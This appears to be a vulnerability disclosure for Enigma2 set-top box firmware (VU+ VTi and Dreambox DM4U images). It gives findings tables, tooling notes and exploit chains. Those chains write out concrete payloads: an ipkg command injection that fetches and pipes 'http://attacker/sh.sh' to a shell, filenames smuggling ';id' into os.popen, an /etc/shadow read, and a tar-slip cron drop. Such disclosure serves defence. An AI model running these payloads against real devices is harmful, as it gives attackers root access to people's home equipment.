Findings • Chains • Firmware • Tooling • Method
Primary target: VU+ UHD (ARM Cortex-A15), VTi 15.0.04 firmware Secondary target: DM4U DM900/DM920/DMone/DMtwo, DM4U Official 2021-10-29 Cross-distro scope: 7 VU+ distributions + 4 DM4U images across 81 firmware images
| ID | Severity | CVSS | Title |
|---|---|---|---|
| E2-F01 | LOW | 4.0 | OpenWebif hardcoded /web/getipv6 URI bypasses auth: IPv6 address disclosure |
| E2-F02 | HIGH | 8.6 | Arbitrary filesystem read via /file?action=download&file=<abspath> |
| E2-F03 | HIGH | 8.6 | vsftpd local_root=/ + write_enable=YES: full filesystem read/write over FTP |
| E2-F04 | MEDIUM | 6.5 | OpenWebif auth disabled by default (ConfigYesNo(default=False)) |
| E2-F05 | MEDIUM | 5.3 | eval() in getConfigs() on server-side XML config values |
| E2-F07 | CRITICAL | 9.8 | Command injection via /ipkg?command=install&package=<payload>: root shell |
| E2-F08 | HIGH | 8.1 | REST filesystem /fs endpoint: root /, read any file, POST write |
| E2-F09 | HIGH | 8.0 | BouquetEditor os.popen() injection via Filename=: RCE as root |
| E2-F10 | HIGH | 8.6 | Factory root has no password across VTi, OpenPLi, and DM4U |
| E2-F11 | MEDIUM | 5.3 | FileController ?dir=: unauthenticated glob expansion across any path |
| E2-F12 | LOW | 2.7 | /terminal reverse proxy leaks shellinabox internal port |
| ID | Severity | CVSS | Title |
|---|---|---|---|
| DM4U-F01 | HIGH | 8.1 | Auth enabled by default, bypassed via empty root credential |
| DM4U-F02 | HIGH | 8.6 | xinetd launches FTP/SSH/Telnet with root and blank password |
| DM4U-F03 | HIGH | 8.1 | LAN clients bypass HTTP auth by default (localauth=False) |
| DM4U-F04 | HIGH | 7.5 | Arbitrary file read via FileStreamer (path = dir + filename, no whitelist) |
| DM4U-F05 | CRITICAL | 9.1 | Upload path traversal via os.path.join without basename(), new-file bypass |
| DM4U-F06 | HIGH | 8.1 | BouquetEditor tar slip: string-in-listing gate bypassed, tar -xvf -C / writes to root |
| ID | Severity | Title |
|---|---|---|
| E2-BIN-F01 | LOW | Unbounded strcpy into 4KB stack at 0x25eca8: not exploitable |
| E2-BIN-F02 | INFO | system() in DVB CI handler: no network reachability |
| E2-BIN-F03 | CLEAN | streamproxy: strcpy/sprintf dead imports; snprintf bounded |
| E2-BIN-F04 | CLEAN | vsftpd 3.0.2: no sprintf/strcpy; SITE CHMOD mode sanitized |
E2-F04 (auth=False default)
→ E2-F07 GET /ipkg?command=install&package=;wget+-O-+http://attacker/sh.sh|sh
→ execvp('/bin/sh', ['-c', cmd]) → root shell
No credentials. No chaining of multiple endpoints. Single request from LAN.
E2-F04 (auth=False)
→ E2-F08 POST /fs/tmp?filename=evil.tar;id (creates /tmp/evil.tar;id)
→ E2-F09 GET /bouqueteditor/web/restore?Filename=/tmp/evil.tar;id
→ os.popen('tar -tf /tmp/evil.tar;id') → shell injection → root RCE
E2-F04 (auth=False) → E2-F02 GET /file?action=download&file=/etc/shadow
→ hashcat/john → E2-F03 FTP login → local_root=/ → PUT anywhere
DM4U-F03 (localauth=False, no auth for LAN)
→ DM4U-F05 POST /upload path=/tmp/ filename=../etc/cron.d/evil (crafted tar)
→ DM4U-F06 GET /bouqueteditor/web/restore?Filename=/tmp/evil.tar
→ tar slip: gate passes, tar -xvf -C / → /etc/cron.d/evil → cron exec as root
| Binary | Arch | Size | SHA256 (first 16) |
|---|---|---|---|
| enigma2 (VTi 15.0.04) | ARM32 EABI5 | 3.0 MB | 3416e03a2b63e4e9 |
| vsftpd VU+ build | ARM32 | unknown | 732c6fb8... (all 4K VU+ hw identical) |
| vsftpd DM900/DM920 | ARM32 | unknown | 92965306... |
| vsftpd DMone/DMtwo | AArch64 | unknown | 3faee9c2... |
| enigma2 DM900/DM920 | ARM32-Thumb | unknown | DM4U family |
| enigma2 DMone/DMtwo | AArch64 | unknown | DM4U family |
Cross-distro coverage: VTi 15.0.02/15.0.04, OpenATV 7.6/8.0b, OpenBH 6.0, OpenPLi 9.2 (ARM32+MIPS32), OpenViX 6.9.002, Pure2 7.6, DM4U DM900/DM920/DMone/DMtwo
Binary analysis was done with Ablation, a custom reverse engineering tool built around semantic BERT embeddings. Ablation reads stripped binaries with no symbols, no source, and no debug info. It encodes what each function does using BinFuse opcode normalization (11 categories, architecture-agnostic) + Markov transitions, then runs cosine similarity queries against a vulnerability pattern corpus to surface candidates. Cross-distro homolog tracking uses BERT-encoded seed functions from VTi 15.0.04 swept against 7 distro corpora to find equivalent functions even when addresses and names have changed.
- Firmware extraction: rootfs.tar.bz2/tar.xz/UBI-UBIFS per-distro; static extraction only
- Binary RE: Capstone disassembly (ARM32/Thumb/AArch64/MIPS32) + Ablation BERT semantic sweep (all-MiniLM-L6-v2); PLT dangerous-import map via BL-instruction scan
- Source audit: Full OpenWebif Python 2.7 source: all controllers, models; line-level trace of injection paths
- Service config: inetd.conf, xinetd.d/, vsftpd.conf, dropbear config extraction from rootfs
- Cross-distro homolog tracking: BERT-encoded seed functions from VTi 15.0.04 swept against 7 distro corpora
- Analysis performed on firmware images obtained from manufacturer download sites and public archives
- No live traffic interception; all findings from static firmware analysis and source code review
- E2-F10 (empty root password): factory image only; live devices may have changed credentials
- DM4U TPM gate: WebInterface requires genuine Dreambox hardware; non-genuine hardware is not affected by DM4U WebInterface findings